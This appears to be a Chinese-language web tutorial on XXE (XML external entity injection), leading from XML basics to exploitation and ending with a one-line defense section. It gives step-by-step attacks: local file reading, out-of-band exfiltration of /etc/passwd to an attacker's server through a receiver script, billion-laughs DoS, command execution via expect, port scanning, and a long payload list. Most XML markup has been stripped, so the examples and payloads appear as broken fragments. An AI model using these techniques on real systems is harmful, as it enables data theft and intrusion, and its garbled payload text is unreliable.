标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2799]   作者: hudie 发表于: [2020-12-12]  [2023-05-19]被用户:ecawen 修改过

本文共 [357] 位读者顶过

学习xxe漏洞到利用xxe漏洞从0到1

[出自:jiwo.org]

第一阶段(浅谈XML)

初识XML

一个好的代码基础能帮助你更好理解一类漏洞,所以先学习一下XML的基础知识。

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具,简单来说XML主要是面向传输的

什么是XML?

XML 指可扩展标记语言(EXtensible Markup Language)

XML 是一种标记语言,很类似 HTML

XML 的设计宗旨是传输数据,而非显示数据

XML 标签没有被预定义。您需要自行定义标签

XML 被设计为具有自我描述性

XML 是 W3C 的推荐标准

与HTML的对比

XML 不是 HTML 的替代

XML 和 HTML 为不同的目的而设计

XML 被设计为传输和存储数据,其焦点是数据的内容

HTML 被设计用来显示数据,其焦点是数据的外观

HTML 旨在显示信息,而 XML 旨在传输信息

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

请看示例:





 
    
  
  
  
]]]>


wecome
to
This wave is hacker
You are a good hacker



DTD:

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用

DTD文档中有很多重要的关键字如下:

        o DOCTYPE(DTD的声明)

o ENTITY(实体的声明)

o SYSTEM、PUBLIC(外部资源申请)

可以用如下语法引入外部DTD


可以用如下语法引用内部DTD


实体:

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。

实体按类型主要分为以下四种:

o 内置实体 (Built-in entities)

o 字符实体 (Character entities)

o 通用实体 (General entities)

o 参数实体 (Parameter entities)

当然,如果实体根据引用方式,还可分为内部实体与外部实体。

完整的实体类别可参考 DTD - Entities

四种实体引用实例

内部实体:

 

参数实体:

 

参数实体外实体+内部实体


]>

&name;

参数实体+外部实体


%name;
]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,所以我们特别来分析外部实体

外部实体

定义

通过url可以引用哪些类型的外部实体?当然不同的程序语言,所支持的协议是不一样的

对照表:


案例演示:


]>

&Config;


第二阶段(浅谈xxe漏洞)

XXE漏洞介绍:

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。此类攻击可能包括使用file:方案或系统标识符中的本地路径公开本地文件,其中可能包含敏感数据,例如密码或私人用户数据。由于此类攻击是相对于处理XML文档的应用程序而发生的,因此攻击者可能会使用此受信任的应用程序转到其他内部系统,可能通过http(s)请求公开其他内部内容或启动CSRF攻击任何不受保护的内部服务。在某些情况下,可以通过取消引用恶意URI来利用容易受到客户端内存损坏问题影响的XML处理器库,从而可能允许在应用程序帐户下执行任意代码。其他攻击可以访问可能不会停止返回数据的本地资源,如果未释放太多线程或进程,可能会影响应用程序的可用性。

注意

该应用程序无需显式将响应返回给攻击者,因为它很容易受到信息泄露的影响。攻击者可以利用DNS信息通过子域名将数据泄漏到他们控制的DNS服务器。

第三阶段(发现xxe漏洞)

通过提交POST请求XML文件:

注意:

提交一个POST请求,请求头加上Content-type:application/xml

1. 第一步,验证XML解析器是否解析和执行我们自定义的XML内容

发送payload


]>
&name;

如果服务器返回包成功解析了xml文档

将返回内容为hacker

2. 第二步,是否支持外部实体的引用。

利用步骤:

1. 自建web网站

2. 在测试网站提交payload


]>
&test;

3. 查看网站返回内容中是否带有自建网站文件中的内容

4. 查看自建服务器访问日志,是否有DTD文件等请求

第四阶段(xxe漏洞利用)

1. 任意文件读取:

Payload(有回显)



]>
&xxe;

这里通过外带(OOB)的方法来检测(无回显)

①自建web服务器

②创建接受数据的文件readdata.php

file_put_contents("passwd.txt", $_GET['file']) ;
?>

③创建hacker.php来供外部实体引用

$xml=<<
  //被攻击的服务器
  //自建服务器
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "

" ;  

print_r($data) ;  

?>



④创建hacker.xml

">

当访问http://localhost/hacker.php, 存在漏洞的服务器会读出/etc/passwd内容,发送给攻击者服务器上的hacker.php,然后把读取的数据保存到本地的passwd.txt中。

2. DOS攻击:

著名的“billion laughs”就是利用了XXE

通过递归调用

Payload











]>

&lol9;


3. 命令执行

php安装expect扩展可以直接执行系统命令,其他协议也有可能可以执行系统命令。

Payload



]>

&XXE;

4. 端口扫描:

端口开放时会返回报错信息,端口不存在时会无法连接

Payload:



]>

&XXE;


第五阶段(xxe爆破表)


]>&xxe;
]>&xxe;
%xxe;]>
%xxe;]>







"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
"> %eval; %error; '> %local_dtd;]>
第六阶段(xxe防御)
过滤用户提交的XML数据,过滤关键词:,禁用外部实体引用。














评论

暂无
发表评论
 返回顶部 
热度(357)
 关注微信